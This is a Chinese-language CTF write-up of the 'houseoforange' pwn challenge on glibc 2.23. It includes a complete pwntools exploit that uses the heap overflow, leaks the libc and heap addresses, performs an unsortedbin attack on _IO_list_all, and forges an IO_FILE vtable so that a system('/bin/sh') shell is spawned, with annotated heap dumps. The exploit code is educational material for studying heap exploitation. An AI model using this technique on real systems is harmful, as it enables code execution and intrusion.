0%

House Of Orange-2.23-64

houseoforange

1
2
3
4
5
6
7
8
9
10
➜  [/home/ywhkkx/桌面] ./houseoforange
+++++++++++++++++++++++++++++++++++++
@ House of Orange @
+++++++++++++++++++++++++++++++++++++
1. Build the house
2. See the house
3. Upgrade the house
4. Give up
+++++++++++++++++++++++++++++++++++++
Your choice :
1
2
3
4
5
6
7
8
9
houseoforange: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a58bda41b65d38949498561b0f2b976ce5c0c301, stripped

[*] '/home/ywhkkx/桌面/houseoforange'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

64位,dynamically,全开

1
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu3) stable release version

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
void edit()
{
struct ORANGE *org; // rbx
unsigned int size; // [rsp+8h] [rbp-18h]
int v2; // [rsp+Ch] [rbp-14h]

if ( upgrade_cnt <= 2u )
{
if ( g_house )
{
printf("Length of name :");
size = get_int();
if ( size > 0x1000 )
size = 4096;
printf("Name:");
read_n(g_house->name, size); // overflow
printf("Price of Orange: ");
org = g_house->org;
org->price = get_int();
color_menu();
printf("Color of Orange: ");
v2 = get_int();
if ( v2 != 56746 && (v2 <= 0 || v2 > 7) )
{
puts("No such color");
exit(1);
}
if ( v2 == 56746 )
g_house->org->color = 56746;
else
g_house->org->color = v2 + 30;
++upgrade_cnt;
puts("Finish");
}
else
{
puts("No such house !");
}
}
else
{
puts("You can't upgrade more");
}
}

修改模块的“size”可以执行控制,导致了严重的堆溢出

入侵思路

本程序没有释放模块,传统的入侵都失效了

本题目是 house of orange 的开山之作,学习本题目也就是为了学习 house of orange 和 FSOP,先挂上大佬的 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *
from LibcSearcher import *

r = process("./houseoforange")
#context.log_level = 'debug'

elf = ELF("./houseoforange")
libc = ELF('./libc-2.23.so')

def add(size, content, price, color):
r.recvuntil("Your choice : ")
r.sendline('1')
r.recvuntil("Length of name :")
r.sendline(str(size))
r.recvuntil("Name :")
r.send(content)
r.recvuntil("Price of Orange:")
r.sendline(str(price))
r.recvuntil("Color of Orange:") #1-7
r.sendline(str(color))

def show():
r.recvuntil("Your choice : ")
r.sendline('2')

def edit(size, content, price, color):
r.recvuntil("Your choice : ")
r.sendline('3')
r.recvuntil("Length of name :")
r.sendline(str(size))
r.recvuntil("Name:")
r.send(content)
r.recvuntil("Price of Orange:")
r.sendline(str(price))
r.recvuntil("Color of Orange:") #1-7
r.sendline(str(color))

# get the unsortedbin
add(0x30,'aaaa\n',0x1234,0xddaa)
payload = 'a' * 0x30 + p64(0) * 5 + p64(0xf81)
edit(len(payload), payload, 0x1234, 0xddaa)
add(0x1000, 'a\n',0x1234, 0xddaa)

# leak libc_base
add(0x400, 'a' * 8, 0x1234, 0xddaa)
show()
r.recvuntil('a'*8)
malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0x668 - 0x10
success('malloc_hook = '+hex(malloc_hook))
libc.address = malloc_hook - libc.symbols['__malloc_hook']
io_list_all = libc.symbols['_IO_list_all']
system = libc.symbols['system']

# leak heap_addr
payload = 'b' * 0x10
edit(0x10, payload, 0x1234, 0xddaa)
show()
r.recvuntil('b'*0x10)
heap = u64(r.recvuntil('\n').strip().ljust(8, '\x00'))
heap_base = heap - 0xE0
success('heap = '+hex(heap))

# FSOP
payload = 'a' * 0x400 + p64(0) + p64(0x21) + p64(0)*2
fake_file = '/bin/sh\x00'+p64(0x61)#to small bin
fake_file += p64(0)+p64(io_list_all-0x10)
fake_file += p64(0) + p64(1)#_IO_write_base < _IO_write_ptr
fake_file = fake_file.ljust(0xc0,'\x00')
fake_file += p64(0) * 3
fake_file += p64(heap_base+0x5E8) #vtable ptr
fake_file += p64(0) * 2
fake_file += p64(system)
payload += fake_file
edit(len(payload), payload, 0x1234, 0xddaa)

r.recvuntil("Your choice : ")
r.sendline('1')

r.interactive()

接下来就借这个 exp 来学习 house of orange 和 FSOP

1
2
3
4
5
# get the unsortedbin
add(0x30,'aaaa\n',0x1234,0xddaa)
payload = 'a' * 0x30 + p64(0) * 5 + p64(0xf81)
edit(len(payload), payload, 0x1234, 0xddaa)
add(0x1000, 'a\n',0x1234, 0xddaa)

函数 add 的后两个参数是凑数的,不用考虑,这里就是为了 unsortedbin

1
2
unsortedbin
all: 0x55ac5249a0c0 —▸ 0x7fa36d3deb78 (main_arena+88) ◂— 0x55ac5249a0c0

泄露 libc_base 的过程没有什么好说的:

1
2
3
4
5
6
7
8
9
10
# leak libc_base
add(0x400, 'a' * 8, 0x1234, 0xddaa)
pause()
show()
r.recvuntil('a'*8)
malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0x668 - 0x10
success('malloc_hook = '+hex(malloc_hook))
libc.address = malloc_hook - libc.symbols['__malloc_hook']
io_list_all = libc.symbols['_IO_list_all']
system = libc.symbols['system']
1
2
3
0x55cc39c6a0e0:	0x0000000000000000	0x0000000000000411 // add 0x400
0x55cc39c6a0f0: 0x6161616161616161 0x00007ff3f687e188 // leak libc_base
0x55cc39c6a100: 0x000055cc39c6a0e0 0x000055cc39c6a0e0 // leak heap_addr

可以通过泄露 large chunk->FD_nextsize 来泄露 heap_addr:

1
2
3
4
5
6
7
8
# leak heap_addr
payload = 'b' * 0x10
edit(0x10, payload, 0x1234, 0xddaa)
show()
r.recvuntil('b'*0x10) # 这里注意把"\x00"覆盖掉
heap = u64(r.recvuntil('\n').strip().ljust(8, '\x00'))
heap_base = heap - 0xE0
success('heap = '+hex(heap))

所以 leak 已经完成,最后就是FSOP了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# fake _IO_list_all(stderr) to FSOP
payload = 'a' * 0x400 + p64(0)*4
fake_file = '/bin/sh\x00'+p64(0x61) # to 0x60 smallbin
fake_file += p64(0)+p64(io_list_all-0x10) # unsortedbin attack
fake_file += p64(0) + p64(1) # _IO_write_base < _IO_write_ptr
fake_file = fake_file.ljust(0xc0,'\x00')
fake_file += p64(0) * 3
fake_file += p64(heap_base+0x5E8) # vtable ptr
fake_file += p64(0) * 2
fake_file += p64(system)
payload += fake_file
pause()
edit(len(payload), payload, 0x1234, 0xddaa)
r.recvuntil("Your choice : ") # 执行malloc
r.sendline('1')

这一大串的伪造让人摸不着头脑,但却可以达成目的(有点像SROP)

修改模块覆盖前:

1
2
3
4
0x55e7fa48d4f0:	0x0000000000000000	0x0000000000000021
0x55e7fa48d500: 0x0000ddaa00001234 0x0000000000000000
0x55e7fa48d510: 0x0000000000000000 0x0000000000000ad1
0x55e7fa48d520: 0x00007fd8c195bb78 0x00007fd8c195bb78
1
2
unsortedbin
all: 0x55e7fa48d510 —▸ 0x7fd8c195bb78 (main_arena+88) ◂— 0x55e7fa48d510

修改模块覆盖后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
0x55e7fa48d4e0:	0x6161616161616161	0x6161616161616161 // padding
0x55e7fa48d4f0: 0x0000000000000000 0x0000000000000021
0x55e7fa48d500: 0x0000ddaa00001234 0x0000000000000000
0x55e7fa48d510: 0x0068732f6e69622f 0x0000000000000061 // "/bin/sh" + fake_size
/* 进行unsortedbin遍历时,将会进入进入smallbin-0x60 */
/* 将会被当做是IO_FILE 结构体 */
0x55e7fa48d520: 0x0000000000000000 0x00007fd8c195c510 // unsortedbin attack
/* 向_IO_list_all中写入main_arean+88 */
/* 如果把main_arean+88当成一个IO_FILE结构体 */
/* 那么struct _IO_FILE *_chain指针的地址为main_arena+0xc0(88+0x68) */
/* 而main_arena+0xc0中装有smallbin-0x60的地址 */
/* 在smallbin-0x60中伪造数据,就是在伪造IO_FILE结构体 */
0x55e7fa48d530: 0x0000000000000000 0x0000000000000001
/* _IO_write_base and _IO_write_ptr */
0x55e7fa48d540: 0x0000000000000000 0x0000000000000000
0x55e7fa48d550: 0x0000000000000000 0x0000000000000000
0x55e7fa48d560: 0x0000000000000000 0x0000000000000000
0x55e7fa48d570: 0x0000000000000000 0x0000000000000000
0x55e7fa48d580: 0x0000000000000000 0x0000000000000000
0x55e7fa48d590: 0x0000000000000000 0x0000000000000000
0x55e7fa48d5a0: 0x0000000000000000 0x0000000000000000
0x55e7fa48d5b0: 0x0000000000000000 0x0000000000000000
0x55e7fa48d5c0: 0x0000000000000000 0x0000000000000000
0x55e7fa48d5d0: 0x0000000000000000 0x0000000000000000
/* __pad5 and _mode(修改_mode为“0”非常方便) */
0x55e7fa48d5e0: 0x0000000000000000 0x000055e7fa48d5e8 // vtable_start
/* fake_vtable(IO_2_1_stdin+216) */
0x55e7fa48d5f0: 0x0000000000000000 0x0000000000000000
0x55e7fa48d600: 0x00007fd8c15dd380 0x0000000000000000 // system(vtable+32)
/* vtable+32就是__overflow,劫持overflow为system(整个结构体作为overflow的参数) */
0x55e7fa48d610: 0x0000000000000000 0x0000000000000000
0x55e7fa48d620: 0x0000000000000000 0x0000000000000000
0x55e7fa48d630: 0x0000000000000000 0x0000000000000000

现在简单解释一下程序为什么会调用 overflow:(这是FSOP的内容)

因为我们修改了 unsortedbin 的结构,使其不合法了,导致程序触发异常并执行“malloc_printerr”,从而调用了 _IO_flush_all_lockp ,最后调用 _IO_OVERFLOW(虚表调用,但虚表已被伪造)

house of orange 小结(2.23-64位)

house of orange 真的是特别精妙的漏洞利用,这里简述一下它的过程

  • 利用堆溢出修改 top chunk->size 为“0xf81”
  • 申请一个较大的 chunk,把 top chunk 放入unsortedbin
  • 申请“0x400”进行泄露
  • 再次溢出,修改 unsorted chunk->size 为“0x60”,在遍历 unsortedbin 之时可以被放入 smallbin
  • 利用 unsortedbin attack 向 IO_list_all 中写入 main_arena+88(被当成一个IO_FILE结构体)
  • 在大小为“0x60”的 smallbin 中伪造IO_FILE结构体,劫持虚表到可控区域
  • _IO_OVERFLOW 的位置写入“system”